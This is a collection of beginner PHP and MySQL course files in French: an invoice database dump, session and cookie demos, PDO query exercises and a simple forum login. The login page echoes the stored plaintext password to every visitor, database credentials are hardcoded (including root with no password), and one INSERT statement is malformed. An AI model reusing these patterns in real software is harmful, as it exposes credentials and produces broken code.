(3, 'Lehmann', 'Pierre', 'Blabla', '68980', 'Beblenheim', 'France'),
(4, 'Lehmann', 'Sylvain', 'titi', '68980', 'Beblenheim', 'France'),
(5, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(6, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France'),
(7, 'Toto', 'Tata', 'Rue de titi', '67000', 'Strasbourg', 'France');
-- --------------------------------------------------------
--
-- Structure de la table `d_facture`
--
CREATE TABLE `d_facture` (
`Qte` int(11) NOT NULL,
`NumFacture` int(11) NOT NULL,
`NumProduit` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `d_facture`
--
INSERT INTO `d_facture` (`Qte`, `NumFacture`, `NumProduit`) VALUES
(50, 2, 2),
(40, 3, 2),
(40, 3, 3),
(40, 3, 4),
(30, 5, 2),
(10, 5, 3),
(40, 5, 4);
-- --------------------------------------------------------
--
-- Structure de la table `facture`
--
CREATE TABLE `facture` (
`NumFacture` int(11) NOT NULL,
`DateFacture` date NOT NULL,
`NumClient` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `facture`
--
INSERT INTO `facture` (`NumFacture`, `DateFacture`, `NumClient`) VALUES
(2, '2016-12-02', 2),
(3, '2016-12-12', 4),
(4, '2017-01-10', 2),
(5, '2017-01-05', 3);
-- --------------------------------------------------------
--
-- Structure de la table `produits`
--
CREATE TABLE `produits` (
`NumProduit` int(11) NOT NULL,
`Des` varchar(255) NOT NULL,
`PUHT` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Contenu de la table `produits`
--
INSERT INTO `produits` (`NumProduit`, `Des`, `PUHT`) VALUES
(1, 'Ecran Pc', 100),
(2, 'Pc Portable ', 800),
(3, 'CPU', 350),
(4, 'GPU', 400);
--
-- Index pour les tables exportées
--
--
-- Index pour la table `client`
--
ALTER TABLE `client`
ADD PRIMARY KEY (`NumClient`);
--
-- Index pour la table `d_facture`
--
ALTER TABLE `d_facture`
ADD PRIMARY KEY (`NumFacture`,`NumProduit`),
ADD KEY `NumFacture` (`NumFacture`,`NumProduit`),
ADD KEY `d_facture_ibfk_1` (`NumProduit`);
--
-- Index pour la table `facture`
--
ALTER TABLE `facture`
ADD PRIMARY KEY (`NumFacture`),
ADD KEY `NumClient` (`NumClient`);
--
-- Index pour la table `produits`
--
ALTER TABLE `produits`
ADD PRIMARY KEY (`NumProduit`);
--
-- AUTO_INCREMENT pour les tables exportées
--
--
-- AUTO_INCREMENT pour la table `client`
--
ALTER TABLE `client`
MODIFY `NumClient` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT pour la table `facture`
--
ALTER TABLE `facture`
MODIFY `NumFacture` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT pour la table `produits`
--
ALTER TABLE `produits`
MODIFY `NumProduit` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- Contraintes pour les tables exportées
--
--
-- Contraintes pour la table `d_facture`
--
ALTER TABLE `d_facture`
ADD CONSTRAINT `d_facture_ibfk_1` FOREIGN KEY (`NumProduit`) REFERENCES `produits` (`NumProduit`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `d_facture_ibfk_2` FOREIGN KEY (`NumFacture`) REFERENCES `facture` (`NumFacture`) ON DELETE CASCADE ON UPDATE CASCADE;
--
-- Contraintes pour la table `facture`
--
ALTER TABLE `facture`
ADD CONSTRAINT `facture_ibfk_1` FOREIGN KEY (`NumClient`) REFERENCES `client` (`NumClient`) ON DELETE NO ACTION ON UPDATE NO ACTION;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/var_global.php
<?php
/* Var Global
$_SERVER : ce sont des valeurs renvoyées par le serveur. Elles sont nombreuses et quelques-unes d'entre elles peuvent nous être d'une grande utilité. Je vous propose de retenir au moins $_SERVER['REMOTE_ADDR']. Elle nous donne l'adresse IP du client qui a demandé à voir la page, ce qui peut être utile pour l'identifier.
$_ENV : ce sont des variables d'environnement toujours données par le serveur. C'est le plus souvent sous des serveurs Linux que l'on retrouve des informations dans cette superglobale. Généralement, on ne trouvera rien de bien utile là-dedans pour notre site web.
$_SESSION : on y retrouve les variables de session. Ce sont des variables qui restent stockées sur le serveur le temps de la présence d'un visiteur. Nous allons apprendre à nous en servir dans ce chapitre.
$_COOKIE : contient les valeurs des cookies enregistrés sur l'ordinateur du visiteur. Cela nous permet de stocker des informations sur l'ordinateur du visiteur pendant plusieurs mois, pour se souvenir de son nom par exemple.
$_GET : vous la connaissez, elle contient les données envoyées en paramètres dans l'URL.
$_POST : de même, c'est une variable que vous connaissez et qui contient les informations qui viennent d'être envoyées par un formulaire.
$_FILES : elle contient la liste des fichiers qui ont été envoyés via le formulaire précédent.*/
/*print_r($_SERVER);
print_r($_ENV);
print_r($_FILES);*/
// On démarre la session AVANT d'écrire du code HTML
session_start();
// On s'amuse à créer quelques variables de session dans $_SESSION
$_SESSION['prenom'] = 'Jean';
$_SESSION['nom'] = 'Dupont';
$_SESSION['age'] = 24;
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>Title of the document</title>
</head>
<body>
<p>
Salut <?php echo $_SESSION['prenom']; ?> !<br />
Tu es à l'accueil de mon site (index.php). Tu veux aller sur
une autre page ?
</p>
<pre>
<?php
print_r($_SESSION);//affiche les variables d'environnement $_SESSION si, isset()
?>
</pre>
<p>
<a href="informations.php">Lien vers informations.php</a>
</p>
</body>
</html><file_sep>/siteweb/Forum avec base/forum.php
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
</script>
</head>
<body>
<div class="blog"><form action="#" method="POST">
<input class="disconnect" type="submit" name="disconnect" value="Se déconnecter"/>
</form>
<h1>blog</h1>
</div>
<div class="footerformulaire">
<form action="#" method="POST">
<p>
<label for="title">Titre : </label><input type="text" name="title" placeholder="Titre du message" />
<br/>
<br/>
<label for="message">Message : </label><input type="text" name="message" placeholder="Message" />
<br/>
<br/>
<input type="submit" name="Submit" value="Poster"/>
</p>
</form>
</div>
</body>
</html>
<?php
session_start();
if(isset($_POST['disconnect'])) {
session_destroy();
}
if ( ($_SESSION["id"]!=='on') OR (session_status() == PHP_SESSION_NONE) ) {
header("Location: ../forum avec base/login.php");
}else{
$_POST['username']=trim(file('login.txt')[0]);
//création d'un fichier texte "forum.txt" à la racine des php
$myfile = fopen("forum.txt", "a+");
//Appuyer sur le bouton "Poster" requis pour lire le code
if(isset($_POST['Submit'])) {
if (isset($_POST['title']) AND isset($_POST['message'])){
//TRAITEMENT FORMULAIRE
//Vérification des champs à remplir
if (($_POST['title'] <> "") AND ($_POST['message'] <> "")) {
//Ouverture du fichier texte "forum.txt"
$myfile = fopen("forum.txt", "a+");
$date='<div class="messages">Le '.date("d/m/Y")." à ".date("H:i:s", strtotime("+1 hours"))."<br>";
$pseudo="Pseudonyme : ".htmlspecialchars($_POST['username'])."<br>";
$titre="Titre du message : ".htmlspecialchars($_POST['title'])."<br>";
$msg="Message : ".htmlspecialchars($_POST['message'])."</div><br>";
//Edition du fichier texte "forum.txt" avec les données rentrées
fwrite($myfile, $date);
fwrite($myfile, $pseudo);
fwrite($myfile, $titre);
fwrite($myfile, $msg);
//Fermeture du fichier "forum.txt"
fclose($myfile);
include('forum.txt');
}
//Affichage du fichier texte "forum.txt" avec les données rentrées
}
else{
echo 'Il faut renseigner le titre, le pseudonyme et le message.</br>';
}
}
}
?> <file_sep>/siteweb/Forum/login.php
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
</script>
</head>
<body>
<div class="blog">
<h1>blog</h1>
</div>
<div class="login">
<form action="#" method="POST">
<p>
<label for="username">Pseudonyme : </label><input type="text" name="username" placeholder="Pseudonyme" />
<br/>
<br/>
<label for="password">Mot de passe : </label><input type="<PASSWORD>" name="password" placeholder="<PASSWORD>" />
<p class="error">Pseudonyme ou mot de passe incorrect.</p>
<input type="submit" name="Submit" value="Poster"/>
</p>
</form>
</div>
</body>
</html>
<?php
$myfile = fopen("login.txt", "a+");
$username= trim(file('login.txt')[0]);
$password= trim(file('login.txt')[1]);
fclose($myfile);
echo $username.'<br>';
echo $password;
$has_session_started="no";
//Appuyer sur le bouton "Poster" requis pour lire le code
if(isset($_POST['Submit'])) {
if (isset($_POST['username']) AND isset($_POST['password'])){
//TRAITEMENT FORMULAIRE
//Vérification des champs à remplir
if (($_POST['username'] <> $username) OR ($_POST['password'] <> $password)) {
?>
<style type="text/css" href="style.css">
.login .error{
visibility:visible;
}
</style>
<?php
}else{
?>
<style type="text/css" href="style.css">
.login .error{
visibility:hidden;
}
</style>
<?php
session_start();
$_SESSION["id"] = "on";
}
}
else{
echo 'Il faut renseigner le pseudonyme et le mot de passe.</br>';
}
}
if (session_status() !== PHP_SESSION_NONE) {
header("Location: forum.php");
}
?> <file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/cookies.php
<?php
//Pas de code Html avant les cookies
setcookie('pseudo', 'M@teo21', time() + 365*24*3600, null, null, false, true); // On écrit un cookie
setcookie('pays', 'France', time() + 365*24*3600, null, null, false, true);
// On écrit un autre cookie...
//setcookie('pays', 'Chine', time() + 365*24*3600, null, null, false, true);
/*Si vous voulez supprimer le cookie dans un an, il vous faudra donc écrire : time() + 365*24*3600. Cela veut dire : timestamp actuel $+$ nombre de secondes dans une année. Cela aura pour effet de supprimer votre cookie dans exactement un an.*/
?>
<pre>
<?php
print_r($_COOKIE);//affiche les variables d'environnement $_Get si, isset()
?>
</pre>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>Title of the document</title>
</head> <body>
<p>
Hé ! Je me souviens de toi !<br />
Tu t'appelles <?php echo $_COOKIE['pseudo']; ?> et tu viens de
<?php echo $_COOKIE['pays']; ?> c'est bien ça ?
</p>
<p>
<a href="informations_cookies.php">Lien vers informations.php</a>
</p>
</body>
</html><file_sep>/siteweb/Php/BDD.php
<?php
//Connexion bdd mysql
try
{
$bdd = new PDO ('mysql:host=localhost;dbname=facture','Ludus','ludus');
}
catch (Exception $e)
{
die('Erreur : '.$e->getMessage());
}
/*
//PDO peut être utilisé pour différents types de BDD (oracle, mysql, postgre...)
Vérifier qu'il est activé
- cliquer sur wamp
- cliquer sur PhP
- aller dans les extensions PhP
- vérifier que PHP PDO Mysql soient bien cochés
*/
//afichage formaté du nom des clients
$reponse = $bdd->query('SELECT NomClient FROM client');
while ($res = $reponse->fetch())
{
?>
<p>
<strong>Nom</strong> : <?php echo $res['NomClient']; ?> <br />
</p>
<?php
}
$reponse->closeCursor(); //Termine le traitement de la requête<file_sep>/siteweb/DATABASE/bdd2.php
<?php
//Connexion bdd Mysql
try
{
$bdd = new PDO('mysql:host=localhost;dbname=facturef2b', 'Ludus', 'Ludus');
}
catch (Exception $e)
{
die('Erreur : ' . $e->getMessage());
}
$reponse = $bdd->query('SELECT * FROM client');
//print_r($reponse);
echo '<br/>';
//$res=$reponse->fetch();//retourne 1 ligne d'enregistrements
//print_r($res);
echo '<br/>';
//$res=$reponse->fetchall();//retourne l'ensemble des enregistrements
//en fonction de la position courante du curseur dans la table
//print_r($res);
//affichage formaté de l'ensemble des enregistrements du client
/*while ($res = $reponse->fetch())
{
?>
<p>
<strong>Num Client</strong> : <?php echo $res['NumClient']; ?><br />
<strong>Nom</strong> : <?php echo $res['NomClient']; ?><br />
<strong>Prenom</strong> : <?php echo $res['PrenomClient']; ?><br />
<strong>Adresse</strong> : <?php echo $res['AdresseClient']; ?><br />
<strong>Cp</strong> : <?php echo $res['Cp']; ?><br />
<strong>Ville</strong> : <?php echo $res['VilleClient']; ?><br />
<strong>Pays</strong> : <?php echo $res['PaysClient']; ?><br />
</p>
<?php
}
$reponse->closeCursor();//ferme le curseur de la base*/
//affichage formaté du nom des clients
/*$reponse = $bdd->query('SELECT NomClient FROM client');
while ($res = $reponse->fetch())
{
?>
<p>
<strong>Nom</strong> : <?php echo $res['NomClient']; ?><br />
</p>
<?php
}
$reponse->closeCursor(); // Termine le traitement de la requête
*/
/*$reponse = $bdd->query('SELECT NomClient, PrenomClient FROM client WHERE PrenomClient=\'Martin\'');
$rows = $reponse->rowCount();
if ($rows == 0) {
// aucune ligne renvoyée
echo 'Pas de résultats <br/>';
} else {
while ($donnees = $reponse->fetch())
{
echo $donnees['NomClient'].' '.$donnees['PrenomClient'] . '<br/>';
}
}
$reponse->closeCursor();
$reponse = $bdd->query('SELECT Des, PUHT FROM produits ORDER BY PUHT DESC');
while ($donnees = $reponse->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();
*/
/*$reponse = $bdd->query('SELECT Des, PUHT FROM produits LIMIT 0,2');
while ($donnees = $reponse->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();*/
/*$req = $bdd->prepare('SELECT Des, PUHT FROM produits WHERE NumProduit=?');
$req->execute(array($_GET['numProduit']));
while ($donnees = $req->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();*/
$_POST['numFacture']=2;
$_POST['numClient']=2;
$req = $bdd->prepare('SELECT * FROM facture WHERE NumFacture=? AND NumClient = ?');
$req->execute(array($_POST['numFacture'],$_POST['numClient']));
while ($donnees = $req->fetch())
{
echo 'Num Facture :'.$donnees['NumFacture'] . ' Date : ' . $donnees['DateFacture'] . ' Num Client :'.$donnees['NumClient'].'<br />';
}
$req->closeCursor();
?>
<file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/informations.php
<?php
session_start(); // On démarre la session AVANT toute chose
?>
<pre>
<?php
print_r($_SESSION);//affiche les variables d'environnement $_SESSION si, isset()
?>
</pre>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>Title of the document</title>
</head>
<body>
<p>Re-bonjour !</p>
<p>
Je me souviens de toi ! Tu t'appelles
<?php echo $_SESSION['prenom'] . ' ' . $_SESSION['nom']; ?> !<br />
Et ton âge hummm... Tu as <?php echo $_SESSION['age']; ?>ans
</p>
</body>
</html>
<!--Si vous voulez détruire manuellement la session du visiteur, vous pouvez faire un lien « Déconnexion »
amenant vers une page qui fait appel à la fonction session_destroy().
Néanmoins, sachez que sa session sera automatiquement détruite au bout d'un certain temps d'inactivité.--><file_sep>/siteweb/Cours_Php_LUDUS2_17112016-master/cible.php
<?php
//traitement formulaire
if (isset($_GET['nom']) AND isset($_GET['prenom']) AND isset($_GET['caseF']) OR isset($_GET['caseH']))
{
echo '<strong>Je sais comment tu t\'appelles, tu t\'appelles :'. htmlspecialchars($_GET['prenom'])." ". htmlspecialchars($_GET['nom']);
if(isset($_GET['caseF'])){
echo ' tu es une femme';
}else if(isset($_GET['caseH'])){
echo ' tu es un homme';
}
}else{ // Il manque des paramètres, on averti le visiteur
echo 'Il faut renseigner un nom et un prénom !';
}
?><file_sep>/siteweb/Php/suitetest.php
<!-- <a href="http://localhost/php/suitetest.php/?prenom=nicolas&nom=Lehmann">Lien</a>
<?php
print_r($_POST);
print_r($_POST);
?> -->
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
</head>
<body>
<form action="http://localhost/php/cible_suitetest.php/" method="POST">
<p>
<label for="nom">Nom : </label><input type="text" name="nom" />
<br/>
<br/>
<label for="prenom">Prénom : </label><input type="text" name="prenom" />
<br/>
<br/>
<input type="checkbox" name="caseF" id="case" /> <label for="case">Femme</label>
<br/>
<br/>
<input type="checkbox" name="caseH" id="case" /> <label for="case">Homme</label>
<br/>
<br/>
<input type="submit" value="Valider"/>
</p>
</form>
</body>
</html>
<file_sep>/siteweb/Forum avec base/readme.txt
Besoin de créer un fichier login.txt avec les identifiants désirés à la racine du fichier.
<file_sep>/siteweb/bdd.php
<?php
//Connexion bdd Mysql
/*
PDO = objet qui peut etre utilise pr differents types de bdd. Ex : oracle, mysql, postgre, etc
(API)
bouton wamp > PHP > extension php > php_pdo_mysql <-- DOIT ETRE COCHE
MySQLi peut etre utilise
MySQL NE DOIT JAMAIS ETRE UTILISE
*/
try //= fait ce qui est dans le try jusqu'a ce que tu trouves une exception
{
$bdd = new PDO('mysql:host=localhost;dbname=facture','root','',array(PDO::ATTR_ERRMODE =>PDO::ERRMODE_EXCEPTION));
}
//parametres : type gestion de bddr : nom de domaine (ip...) ; dbname = nom base de donnees , nom utilisateur , mdp (identifiants)
catch (Exception $e) // "attrape l'exception"
{
die('Erreur : ' . $e->getMessage()); // affiche flux d'erreur
}
$reponse = $bdd->query('SELECT * FROM client');
print_r($reponse);
echo "<br/><br/>";
$reponse->closeCursor();
/*
$res=$reponse->fetch(); //fetch ne retourne qu'une seule ligne d'enregistrement
print_r($res);
*/
/*
echo"<br/><br/>";
var_dump($res);
echo"<br/><br/>";
*/
/*
$res=$reponse->fetchall(); //fetchall retourne toutes les lignes d'un enregistrement
//en fonction de la position courante du curseur dans la table
print_r($res);
*/
//$reponse->closecursor(); //ferme le curseur dans la base
/*
while ($res = $reponse->fetch())//tant qu'il y a des enregistrements
{
?>
<p>
<strong>Num Client</strong> : <?php echo $res['NumCli']; ?><br/>
<strong>Nom</strong> : <?php echo $res['Nom']; ?><br/>
<strong>Prénom</strong> : <?php echo $res['PrenomCli']; ?><br/>
<strong>Adresse</strong> : <?php echo $res['AdresseCli']; ?><br/>
<strong>Code postal</strong> : <?php echo $res['Cp']; ?><br/>
<strong>Ville</strong> : <?php echo $res['VilleCli']; ?><br/>
<strong>Pays</strong> : <?php echo $res['Pays']; ?><br/>
</p>
<br/>
<?php
}
$reponse->closeCursor();
?>
*/
/*
$reponse = $bdd -> query('SELECT Nom FROM client');
while ($res = $reponse->fetch()){
?>
<p>
<strong>Nom</strong> : <?php echo $res['Nom']; ?><br/>
</p>
<?php
}
$reponse->closeCursor();
?>
*/
//CRYPTAGE SYMETRIQUE OU ASYM AVEC CLES PUBLIQUES ET PRIVEES
//PLUS LA CLE EST GRANDE PLUS IL VA FALLOIR CALCULATEURS POUR CALCULER CLE
//On recherche les clients ayant pour prenom Teva
//trouve ? oui -> on affiche prenom et nom, non -> on affiche message 'aucun resultat'
$reponse = $bdd->query('SELECT Nom,PrenomCli FROM client WHERE PrenomCli=\'Tevaf\'');
$rows = $reponse->rowCount();
if ($rows!=0){
while ($donnees = $reponse->fetch()){
echo $donnees['Nom'].' '.$donnees['PrenomCli'] . '<br/>';
}
}else{
echo '<br/>Pas de résultat.<br/>';
}
$reponse->closeCursor();
//Designation et prix associe de TOUS les produits
$reponse = $bdd->query('SELECT Designation,PrixUnitaire FROM produit ORDER BY PrixUnitaire DESC');
while($donnees = $reponse->fetch())
{
echo '<br/>' . $donnees['Designation'] . ' coûte ' . $donnees['PrixUnitaire'] . ' EUROS HT.<br/>';
}
//Designation et prix associe, affichage de 2 produits uniquement (2 premieres lignes trouvees)
$reponse = $bdd->query ('SELECT Designation, PrixUnitaire FROM produit LIMIT 0,2');
while ($donnees = $reponse->fetch())
{
echo '<br/>' . $donnees['Designation'] . ' coûte ' . $donnees['PrixUnitaire'] . ' EUROS HT.<br/>';
}
$reponse->closeCursor();
//METHODE A UTILISER !
//On prepare la requete qui sera stockee avant execution, on lui donne parametres.
//A l execution, correlation avec parametres passes.
$req=$bdd->prepare('SELECT Designation, PrixUnitaire FROM produit WHERE NumProduit=?');
$req->execute(array($_GET['NumProduit']));
while ($donnees = $req->fetch())
{
echo '<br/>' . $donnees['Designation'] . ' coûte ' . $donnees['PrixUnitaire'] . ' EUROS HT.<br/>';
}
$reponse->closeCursor();
//http://localhost/bdd.php?NumProduit=1 (ajouter dans l'URL ?NumProduit=1 vu que c'est une methode GET)
// PBM : infos aux yeux de tous ! BESOIN DE REECRIRE L'URL AVANT AFFICHAGE PAGE !
//Fait de reecrire URL ameliore referencement d'un site pour les moteurs de recherche (google n'aime pas les url a rallonge par exemple)
$_POST['NumFacture']=1;
$_POST['NumCli']=2;
$req=$bdd->prepare('SELECT * FROM facture WHERE NumFacture=? OR NumCli=?'); //Pour afficher un resultat, une des valeurs passees en parametre doit etre
//valide !
$req->execute(array($_POST['NumFacture'],$_POST['NumCli']));
echo '<br/><br/>';
while($donnees=$req->fetch())
{
echo 'Num Facture :' . $donnees['NumFacture'].' ----- Date : ' . $donnees['DateFacture'] . ' ----- Num Client :' . $donnees['NumCli'].'<br/>';
}
$reponse->closeCursor();
//Traquer les erreurs
$reponse = $bdd->query('SELECT blabla FROM client');
$reponse->closeCursor();
//Requête relation
$reponse =$bdd->prepare('SELECT client.NumClient, client.NomClient, client.PrenomClient, client.AdresseClient,client.Cp, client.VilleClient, facture.NumFacture, facture.Datefacture, produits.NumProduit, produits.Des, produits.PUHT FROM client,facture,d_facture,produits WHERE client.NumClient=facture.NumClient AND facture.NumFacture=d_facture.NumFacture AND produits.NumProduit=d_facture.NumProduit AND facture.Numfacture = ?');
$reponse->execute(array($_POST['numFacture']));
$result=$reponse->fetchAll();
$reponse->closeCursor();
//rqeuêter insert
//Utilisation req simplexml_load_file
$bdd ->exec ('INSERT INTO client(NomClient,PrenomClient,AdresseClient,Cp, VilleClient,PaysClient) VALUES(\'ToTo\',\'Tata\',\'Rue de titi`\' `\'67000\',\'Strasbourg\',\'France\')');
$req->execute(array(
'Nom'=>$nom,
'Prenom'=>$prenom,
'Adr'=>$adr,
'Cp'=>$cp,
'ville'=>$ville,
'Pays'=>$pays
));
$reponse->closeCursor();
?><file_sep>/siteweb/Php/index.php
<!doctype html>
<html>
<head>
<title>Varkoff</title>
<meta charset="utf-8" />
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<!-- L'entête -->
<?php include("header.php"); ?>
<!-- Le menu -->
<?php include("menu.php"); ?>
<!-- Le corps -->
<div>
<p>dAAAAddddddd.</p>
<p>ddddd.</p>
<p>ddddad.</p>
<p>ddddsd.</p>
</div>
<!-- Le footer -->
<?php include("footer.php"); ?>
<!--Le fichier test -->
<?php include("test.php"); ?>
</html><file_sep>/BASE DE DONNEE/bdd2.php
<?php
//Connexion bdd Mysql
try
{
$bdd = new PDO('mysql:host=localhost;dbname=facture', 'Ludus', 'Ludus',array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
}
catch (Exception $e)
{
die('Erreur : ' . $e->getMessage());
}
$reponse = $bdd->query('SELECT * FROM client');
//print_r($reponse);
echo '<br/>';
//$res=$reponse->fetch();//retourne 1 ligne d'enregistrements
//print_r($res);
echo '<br/>';
//$res=$reponse->fetchall();//retourne l'ensemble des enregistrements
//en fonction de la position courante du curseur dans la table
//print_r($res);
//affichage formaté de l'ensemble des enregistrements du client
/*while ($res = $reponse->fetch())
{
?>
<p>
<strong>Num Client</strong> : <?php echo $res['NumClient']; ?><br />
<strong>Nom</strong> : <?php echo $res['NomClient']; ?><br />
<strong>Prenom</strong> : <?php echo $res['PrenomClient']; ?><br />
<strong>Adresse</strong> : <?php echo $res['AdresseClient']; ?><br />
<strong>Cp</strong> : <?php echo $res['Cp']; ?><br />
<strong>Ville</strong> : <?php echo $res['VilleClient']; ?><br />
<strong>Pays</strong> : <?php echo $res['PaysClient']; ?><br />
</p>
<?php
}
$reponse->closeCursor();//ferme le curseur de la base*/
//affichage formaté du nom des clients
/*$reponse = $bdd->query('SELECT NomClient FROM client');
while ($res = $reponse->fetch())
{
?>
<p>
<strong>Nom</strong> : <?php echo $res['NomClient']; ?><br />
</p>
<?php
}
$reponse->closeCursor(); // Termine le traitement de la requête
*/
/*$reponse = $bdd->query('SELECT NomClient, PrenomClient FROM client WHERE PrenomClient=\'Martin\'');
$rows = $reponse->rowCount();
if ($rows == 0) {
// aucune ligne renvoyée
echo 'Pas de résultats <br/>';
} else {
while ($donnees = $reponse->fetch())
{
echo $donnees['NomClient'].' '.$donnees['PrenomClient'] . '<br/>';
}
}
$reponse->closeCursor();
$reponse = $bdd->query('SELECT Des, PUHT FROM produits ORDER BY PUHT DESC');
while ($donnees = $reponse->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();
*/
/*$reponse = $bdd->query('SELECT Des, PUHT FROM produits LIMIT 0,2');
while ($donnees = $reponse->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();*/
/*$req = $bdd->prepare('SELECT Des, PUHT FROM produits WHERE NumProduit=?');
$req->execute(array($_GET['numProduit']));
while ($donnees = $req->fetch())
{
echo '<br/>'.$donnees['Des'] . ' coûte ' . $donnees['PUHT'] . ' EUR HT<br />';
}
$reponse->closeCursor();*/
/*$_POST['numFacture']=2;
$_POST['numClient']=2;
$req = $bdd->prepare('SELECT * FROM facture WHERE NumFacture=? AND NumClient = ?');
$req->execute(array($_POST['numFacture'],$_POST['numClient']));
while ($donnees = $req->fetch())
{
echo 'Num Facture :'.$donnees['NumFacture'] . ' Date : ' . $donnees['DateFacture'] . ' Num Client :'.$donnees['NumClient'].'<br />';
}
$req->closeCursor();*/
/*$_POST['numFacture']=2;
$_POST['numClient']=2;
$req = $bdd->prepare('SELECT * FROM facture WHERE NumFacture=:NumFacture OR NumClient =:NumClient');
$req->execute(array('NumFacture'=>$_POST['numFacture'],'NumClient'=>$_POST['numClient']));
while ($donnees = $req->fetch())
{
echo 'Num Facture :'.$donnees['NumFacture'] . ' Date : ' . $donnees['DateFacture'] . ' Num Client :'.$donnees['NumClient'].'<br />';
}
$reponse->closeCursor();
$NumFacture=2;
$NumClient=2;
$req = $bdd->prepare('SELECT * FROM facture WHERE NumFacture=:NumFacture OR NumClient =:NumClient');
$req->execute(array('NumFacture'=>$NumFacture,'NumClient'=>$NumClient));
while ($donnees = $req->fetch())
{
echo 'Num Facture :'.$donnees['NumFacture'] . ' Date : ' . $donnees['DateFacture'] . ' Num Client :'.$donnees['NumClient'].'<br />';
}
$reponse->closeCursor();*/
//Traquer les erreurs
//$reponse = $bdd->query('SELECT balbla FROM client');
//$reponse->closeCursor();
//Requete relation
/*$_POST['numFacture']=3;
$reponse =$bdd->prepare('SELECT client.NumClient, client.NomClient, client.PrenomClient, client.AdresseClient,client.Cp,client.VilleClient,facture.NumFacture, facture.Datefacture,
produits.NumProduit,produits.Des,produits.PUHT FROM client,facture,d_facture,produits WHERE
client.NumClient=facture.NumClient AND facture.NumFacture=d_facture.NumFacture AND produits.NumProduit=d_facture.NumProduit
AND facture.NumFacture = ?');
$reponse->execute(array($_POST['numFacture']));
$result=$reponse->fetchAll();
print_r($result);
$reponse->closeCursor();*/
/*$reponse=$bdd->prepare('SELECT client.NumClient, client.NomClient, client.PrenomClient, client.AdresseClient,client.Cp,client.VilleClient FROM client WHERE
client.Nomclient = :Nom');
$reponse->execute(array('Nom'=>$_GET['Nom'])) or die (print_r($reponse->errorInfo()));
$result=$reponse->fetchAll();
print_r($result);
echo xmlrpc_encode($result);
echo json_encode($result);
$reponse->closeCursor();*/
//requete insert
//utilisation req simple
$bdd-> exec('INSERT INTO client(NomClient,PrenomClient,AdresseClient,Cp,VilleClient,PaysClient)
VALUES(\'Toto\',\'Tata\',\'Rue de titi\',\'67000\',\'Strasbourg\',\'France\')');
$bdd-> exec('INSERT INTO client(NomClient,PrenomClient,AdresseClient,Cp,VilleClient,PaysClient)
VALUES("Toto","Tata","Rue de titi","67000","Strasbourg","France")');
$nom="toto";
$prenom="titi";
$adr="ton adresse";
$cp="67000";
$ville="Strasbourg";
$pays="france";
$req=$bdd->prepare('INSERT INTO client(NomClient,PrenomClient,AdresseClient,Cp,VilleClient,PaysClient)VALUES(:Nom,:Prenom,:Adr,:Cp,:Ville,:Pays)');
$req->execute(array(
'Nom'=>$nom,
'Prenom'=>$prenom,
'Adr'=>$adr,
'Cp'=>$cp,
'Ville'=>$ville,
'Pays'=>$pays
));
$req->closeCursor();
?><file_sep>/siteweb/DATABASE/Bibliothe.sql
CREATE TABLE AUTEUR (
ID_AUTEUR Numeric not null,
NOM_AUTEUR char(32),
PRENOM_AUTEUR char(32),
constraint AUTEURPK primary key (ID_AUTEUR)
)
CREATE TABLE EMPRUNTEUR (
NUM_EMPRUNTEUR numeric not null,
NOM_EMPRUNTEUR char(32),
ADRESSE_EMPRUNTEUR char(255),
constraint EMPRUNTEURPK primary key (NUM_EMPRUNTEUR)
)
CREATE TABLE OUVRAGE (
ISBN char(13) not null,
TITRE char(70),
ID_AUTEUR Numeric not null,
ID_EDITEUR Numeric,
constraint OUVRAGEPK primary key (ISBN),
constraint AUTEURFK foreign key (ID_AUTEUR) references AUTEUR
)
CREATE TABLE EXEMPLAIRE (
NUM_EXEMPLAIRE numeric not null,
EMPLACEMENT char(2),
DATE_ACHAT date,
